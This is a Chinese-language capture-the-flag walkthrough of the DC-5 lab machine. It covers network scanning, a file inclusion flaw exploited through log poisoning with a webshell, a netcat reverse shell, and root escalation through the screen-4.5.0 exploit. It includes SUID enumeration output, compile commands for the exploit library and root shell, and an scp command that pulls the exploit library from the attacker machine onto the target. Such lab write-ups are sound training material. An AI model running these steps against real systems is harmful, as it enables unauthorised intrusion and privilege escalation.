实验环境
提示改靶机只有一个入口点,并只存在一个flag
渗透过程
0x01 信息搜集
由于不知道靶机IP地址,进行D段扫描,获得靶机IP地址:
masscan 192.168.1.0/24 --ping --rate 1000
访问后发现136主机为靶机DC-5,进行端口扫描:
使用nmap进行详细扫描:
进行目录扫描,得到结果:
0x02 解题
访问扫描得到的网址,查看内容:
发现本页面每次访问结果不相同:
该页面为页脚,最终在thankyou页面中找到,猜测此页面存在文件包含漏洞:
访问敏感目录,发现漏洞:
尝试使用日志包含,传入一句话木马:
使用蚁剑进行连接,这里传入一句话不能存在分号,有分号时无法访问日志文件。
使用nc反弹shell,服务器监听4444端口:
反弹shell:
使用python构建交互式shell:
python -c "import pty;pty.spawn('/bin/bash');"
查看当前用户可使用的root命令:
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
发现可使用screen命令,查找该命令是否存在可用漏洞:
获得漏洞利用代码,运行时报错,由于这个shell可能是在win下编写的,所以换行格式与Linux不同,运行后无法解析,使用命令dos2unix ./41154.sh
把文件转成unix下可执行文件就可以正常运行。
将poc中上面的一部分c语言代码另存为libhax.c 编译 libhax.c 文件:
kali@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c
将 rootshell.c 复制出来编译:
kali@kali:~# gcc -o rootshell rootshell.c
在靶机端尝试通过scp下载脚本(或者使用ftp、wget):
scp kali@192.168.1.80:/home/kali/libhax.so /tmp/
运行代码,得到flag: